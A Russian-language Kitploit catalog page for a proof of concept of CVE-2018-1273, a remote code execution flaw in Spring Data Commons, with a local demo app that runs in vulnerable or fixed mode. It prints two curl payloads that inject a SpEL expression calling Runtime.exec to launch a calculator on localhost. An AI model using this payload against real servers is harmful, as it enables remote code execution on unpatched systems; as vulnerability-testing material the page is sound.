Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
poc-cve-2018-1273 — Эксплойт для CVE-2018-1273, уязвимость связывания свойств в Spring Data Commons, приводящая к удаленному выполнению кода через специально сформированные параметры HTTP-запроса. | Kitploit
Инструменты/GitHubGitHub/webr0ck/poc-cve-2018-1273
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubwebr0ck/poc-cve-2018-1273

poc-cve-2018-1273

Эксплойт для CVE-2018-1273, уязвимость связывания свойств в Spring Data Commons, приводящая к удаленному выполнению кода через специально сформированные параметры HTTP-запроса.

Репозиторий
237 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-1273

Spring Data Commons, версий с 1.13 по 1.13.10, с 2.0 по 2.0.5, а также более старых неподдерживаемых версий, содержит уязвимость связывания свойств, вызванную неправильной нейтрализацией специальных элементов. Неавторизованный удаленный злоумышленник может отправлять специально созданные параметры запросов к HTTP-ресурсам на основе Spring Data REST или использовать привязку полезной нагрузки запроса на основе проекций Spring Data, что может привести к удаленному выполнению кода.

Дополнительная информация здесь

Запуск

Приложение можно протестировать как с уязвимой, так и с исправленной версией Spring Data Commons.

  • Уязвимая версия (по умолчанию):
root@kitploit:~
mvn spring-boot:run
  • Исправленная версия:
root@kitploit:~
mvn spring-boot:run -Dfixed

Тестирование уязвимости

Выполните следующую команду, чтобы проверить, можно ли эксплуатировать уязвимость:

  • В Windows:
root@kitploit:~
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

  • В MacOS:
root@kitploit:~
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"

Авторы

Создано https://www.arima.eu

ARIMA Software Design

Скачать инструмент